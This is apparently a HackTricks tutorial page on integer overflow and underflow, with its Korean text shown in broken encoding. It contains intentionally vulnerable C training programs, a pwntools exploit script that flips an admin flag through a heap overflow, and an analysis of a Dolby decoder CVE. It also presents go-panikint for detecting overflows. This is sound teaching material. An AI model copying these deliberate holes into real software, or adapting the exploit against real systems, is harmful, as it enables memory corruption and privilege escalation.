์ •์ˆ˜ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

ํ•ต์‹ฌ์ ์œผ๋กœ integer overflow๋Š” ์ปดํ“จํ„ฐ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์—์„œ ๋ฐ์ดํ„ฐ ํƒ€์ž…์˜ ํฌ๊ธฐ์™€ ๋ฐ์ดํ„ฐ์˜ ํ•ด์„์ด ๋ถ€๊ณผํ•˜๋Š” ์ œํ•œ์— ์žˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, 8๋น„ํŠธ ๋ถ€ํ˜ธ ์—†๋Š” ์ •์ˆ˜๋Š” 0์—์„œ 255๊นŒ์ง€์˜ ๊ฐ’์„ ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋งŒ์•ฝ 8๋น„ํŠธ ๋ถ€ํ˜ธ ์—†๋Š” ์ •์ˆ˜์— 256์„ ์ €์žฅํ•˜๋ ค ํ•˜๋ฉด, ์ €์žฅ ์šฉ๋Ÿ‰์˜ ํ•œ๊ณ„ ๋•Œ๋ฌธ์— ๊ฐ’์ด 0์œผ๋กœ ์ˆœํ™˜ํ•œ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ 16๋น„ํŠธ ๋ถ€ํ˜ธ ์—†๋Š” ์ •์ˆ˜๋Š” 0์—์„œ 65,535๊นŒ์ง€์˜ ๊ฐ’์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ 65,535์— 1์„ ๋”ํ•˜๋ฉด ๊ฐ’์ด 0์œผ๋กœ ๋Œ์•„๊ฐ„๋‹ค.

๋˜ํ•œ, 8๋น„ํŠธ ๋ถ€ํ˜ธ ์žˆ๋Š” ์ •์ˆ˜๋Š” -128์—์„œ 127๊นŒ์ง€์˜ ๊ฐ’์„ ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Š” ํ•œ ๋น„ํŠธ๊ฐ€ ๋ถ€ํ˜ธ(์–‘์ˆ˜ ๋˜๋Š” ์Œ์ˆ˜)๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๊ณ  ๋‚˜๋จธ์ง€ 7๋น„ํŠธ๊ฐ€ ํฌ๊ธฐ๋ฅผ ๋‚˜ํƒ€๋‚ด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ฐ€์žฅ ์ž‘์€ ๊ฐ’์€ -128(์ด์ง„ 10000000)์œผ๋กœ ๋‚˜ํƒ€๋‚ด๊ณ , ๊ฐ€์žฅ ํฐ ๊ฐ’์€ 127(์ด์ง„ 01111111)์ด๋‹ค.

์ผ๋ฐ˜์ ์ธ ์ •์ˆ˜ ํƒ€์ž…์˜ ์ตœ์†Œ/์ตœ๋Œ€ ๊ฐ’:

Typeํฌ๊ธฐ (๋น„ํŠธ)์ตœ์†Œ๊ฐ’์ตœ๋Œ€๊ฐ’
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

64๋น„ํŠธ ์‹œ์Šคํ…œ์—์„œ short๋Š” int16_t์™€ ๊ฐ™๊ณ , int๋Š” int32_t์™€ ๊ฐ™์œผ๋ฉฐ, long์€ int64_t์™€ ๊ฐ™๋‹ค.

์ตœ๋Œ€๊ฐ’

์ž ์žฌ์ ์ธ ์›น ์ทจ์•ฝ์ ์„ ๊ณ ๋ คํ•  ๋•Œ ์ง€์›๋˜๋Š” ์ตœ๋Œ€๊ฐ’์„ ์•„๋Š” ๊ฒƒ์€ ๋งค์šฐ ํฅ๋ฏธ๋กญ๋‹ค:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

์˜ˆ์ œ

Pure overflow

์ถœ๋ ฅ ๊ฒฐ๊ณผ๋Š” 0์ž…๋‹ˆ๋‹ค. char๋ฅผ overflowํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Signed to Unsigned Conversion

์‚ฌ์šฉ์ž ์ž…๋ ฅ์—์„œ ์ฝ์€ signed integer๊ฐ€ ์ ์ ˆํ•œ ๊ฒ€์ฆ ์—†์ด unsigned integer๋กœ ์ทจ๊ธ‰๋˜๋Š” ๋ฌธ๋งฅ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ƒํ™ฉ์„ ์ƒ๊ฐํ•ด๋ณด์ž:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

์ด ์˜ˆ์ œ์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์Œ์ˆ˜๋ฅผ ์ž…๋ ฅํ•˜๋ฉด, binary values๊ฐ€ ํ•ด์„๋˜๋Š” ๋ฐฉ์‹ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๊ฐ’์€ ํฐ unsigned integer๋กœ ํ•ด์„๋˜์–ด ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow โ†’ undersized allocation โ†’ heap overflow โ†’ flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("๐ŸŽ‰ EXPLOITATION SUCCESSFUL ๐ŸŽ‰");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 โ†’ 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF โ€“ stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit โ†’ wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) โ†’ It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ปดํŒŒ์ผํ•˜์„ธ์š”:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until itโ€™s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow ์˜ˆ์ œ

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("๐ŸŽ‰ EXPLOITATION SUCCESSFUL ๐ŸŽ‰");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ปดํŒŒ์ผํ•˜์„ธ์š”:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Allocator alignment rounding wrap โ†’ undersized chunk โ†’ heap overflow (Dolby UDC case)

์ผ๋ถ€ custom allocators๋Š” overflow ์—ฌ๋ถ€๋ฅผ ์žฌ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๊ณ  allocations์„ alignment๊นŒ์ง€ ๋ฐ˜์˜ฌ๋ฆผํ•ฉ๋‹ˆ๋‹ค. Dolby Unified Decoder (Pixel 9, CVE-2025-54957)์—์„œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” emdf_payload_size๊ฐ€ (unbounded variable_bits(8) loop์œผ๋กœ ๋””์ฝ”๋”ฉ๋˜์–ด) ddp_udc_int_evo_malloc์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

64-bit ๊ฐ’์ด 0xFFFFFFFFFFFFFFF9 ๊ทผ์ฒ˜์ผ ๊ฒฝ์šฐ, (8 - total_size) % total_size๊ฐ€ ๋ง์…ˆ์„ ๋ž˜ํ•‘ํ•˜์—ฌ ๋…ผ๋ฆฌ์  alloc_size๋Š” ์—ฌ์ „ํžˆ ๊ฑฐ๋Œ€ํ•จ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  **์ž‘์€ total_size**๋ฅผ ๋งŒ๋“ค์–ด๋ƒ…๋‹ˆ๋‹ค. ํ˜ธ์ถœ์ž๋Š” ์ดํ›„ ๋ฐ˜ํ™˜๋œ ์ฒญํฌ์— payload_length ๋ฐ”์ดํŠธ๋ฅผ ์”๋‹ˆ๋‹ค:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

Why exploitation is reliable in this pattern:

  • Overflow length control: ๋ฐ”์ดํŠธ๋Š” ๋‹ค๋ฅธ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ๊ธธ์ด(emdf_container_length)๋กœ ์ œํ•œ๋œ reader์—์„œ ๊ณต๊ธ‰๋˜๋ฏ€๋กœ, ์“ฐ๊ธฐ๋Š” payload_length๋ฅผ ์ „๋ถ€ ๋ฟŒ๋ฆฌ๋Š” ๋Œ€์‹  N ๋ฐ”์ดํŠธ ํ›„์— ๋ฉˆ์ถ˜๋‹ค.
  • Overflow data control: ์ฒญํฌ๋ฅผ ๋„˜์–ด ์“ฐ์—ฌ์ง€๋Š” ๋ฐ”์ดํŠธ๋Š” ์ „๋ถ€ EMDF payload์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ๋‹ค.
  • Heap determinism: allocator๋Š” ํ”„๋ ˆ์ž„๋ณ„ bump-pointer slab์ด๋ฉฐ frees๊ฐ€ ์—†์œผ๋ฏ€๋กœ, ์†์ƒ๋œ ๊ฐ์ฒด๋“ค์˜ ์ธ์ ‘์„ฑ์€ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•˜๋‹ค.

๊ธฐํƒ€ ์˜ˆ์ œ

  • https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

  • ๋น„๋ฐ€๋ฒˆํ˜ธ ํฌ๊ธฐ๋ฅผ ์ €์žฅํ•˜๋Š” ๋ฐ 1B๋งŒ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ overflow๋ฅผ ์ผ์œผ์ผœ ๊ธธ์ด๋ฅผ 4๋กœ ์ธ์‹ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ณ , ์‹ค์ œ๋กœ๋Š” 260์œผ๋กœ ๊ธธ์ด ๊ฒ€์‚ฌ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค

  • https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html

  • ๋ช‡ ๊ฐœ์˜ ์ˆซ์ž๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ z3๋ฅผ ์‚ฌ์šฉํ•ด ์ฒซ ๋ฒˆ์งธ ์ˆ˜์™€ ๊ณฑํ–ˆ์„ ๋•Œ ๋‘ ๋ฒˆ์งธ ์ˆ˜๊ฐ€ ๋˜๋Š” ์ƒˆ๋กœ์šด ์ˆ˜๋ฅผ ์ฐพ์•„๋ผ:

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
  • https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
  • ๋น„๋ฐ€๋ฒˆํ˜ธ ํฌ๊ธฐ๋ฅผ ์ €์žฅํ•˜๋Š” ๋ฐ 1B๋งŒ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ overflow๋ฅผ ์ผ์œผ์ผœ ๊ธธ์ด๋ฅผ 4๋กœ ์ธ์‹ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ณ , ์‹ค์ œ๋กœ๋Š” 260์ด๋ผ์„œ ๊ธธ์ด ๊ฒ€์‚ฌ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๊ณ  ์Šคํƒ์˜ ๋‹ค์Œ ๋กœ์ปฌ ๋ณ€์ˆ˜๋ฅผ ๋ฎ์–ด์จ ๋‘ ๋ณดํ˜ธ๋ฅผ ๋ชจ๋‘ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค

Go์˜ integer overflow ๊ฐ์ง€ (go-panikint ์‚ฌ์šฉ)

Go๋Š” ์ •์ˆ˜ ์—ฐ์‚ฐ์„ ์กฐ์šฉํžˆ ๋ž˜ํ•‘ํ•œ๋‹ค. go-panikint๋Š” SSA overflow checks๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ํฌํฌ๋œ Go toolchain์œผ๋กœ, ๋ž˜ํ•‘๋œ ์‚ฐ์ˆ  ์—ฐ์‚ฐ์ด ์ฆ‰์‹œ runtime.panicoverflow()(panic + stack trace)๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ๋งŒ๋“ ๋‹ค.

์‚ฌ์šฉ ์ด์œ 

  • ์‚ฐ์ˆ  ์—ฐ์‚ฐ์ด ๋ž˜ํ•‘๋  ๋•Œ ์ฆ‰์‹œ crashํ•˜๋ฏ€๋กœ overflow/truncation์ด fuzzing/CI์—์„œ ๋ฐœ๊ฒฌ ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.
  • user-controlled pagination, offsets, quotas, ํฌ๊ธฐ ๊ณ„์‚ฐ, ๋˜๋Š” ์ ‘๊ทผ ์ œ์–ด ์ˆ˜ํ•™(์˜ˆ: end := offset + limit์—์„œ ์ž‘์€ ๊ฐ’์œผ๋กœ ๋ž˜ํ•‘๋˜๋Š” uint64) ์ฃผ๋ณ€์—์„œ ์œ ์šฉํ•˜๋‹ค.

๋นŒ๋“œ ๋ฐ ์‚ฌ์šฉ๋ฒ•

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

ํ…Œ์ŠคํŠธ/fuzzing์šฉ์œผ๋กœ ์ด ํฌํฌ๋œ go ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ panics๋กœ ๋“œ๋Ÿฌ๋‚ด์„ธ์š”.

๋…ธ์ด์ฆˆ ์ œ์–ด

  • ์ž˜๋ฆผ(truncation) ๊ฒ€์‚ฌ(๋” ์ž‘์€ ์ •์ˆ˜๋กœ์˜ ์บ์ŠคํŠธ)๋Š” ๋…ธ์ด์ฆˆ๊ฐ€ ๋งŽ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์˜๋„์ ์ธ wrap-around๋Š” ์†Œ์Šค ๊ฒฝ๋กœ ํ•„ํ„ฐ ๋˜๋Š” ์ธ๋ผ์ธ // overflow_false_positive / // truncation_false_positive ์ฃผ์„์œผ๋กœ ์–ต์ œํ•˜์„ธ์š”.

์‹ค์ œ ์‚ฌ๋ก€ ํŒจํ„ด

go-panikint๋Š” Cosmos SDK์˜ uint64 ํŽ˜์ด์ง• ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐํ˜€๋ƒˆ์Šต๋‹ˆ๋‹ค: end := pageRequest.Offset + pageRequest.Limit์ด MaxUint64๋ฅผ ๋„˜์–ด ๋ž˜ํ•‘๋˜์–ด ๋นˆ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ณ„์ธก(instrumentation)์€ ์ด ์กฐ์šฉํ•œ ๋ž˜ํ•‘์„ panic์œผ๋กœ ๋ฐ”๊ฟ” fuzzers๊ฐ€ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ์Šต๋‹ˆ๋‹ค.

ARM64

์ด๊ฒƒ์€ ARM64์—์„œ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค โ€” ์ž์„ธํ•œ ๋‚ด์šฉ์€ this blog post๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ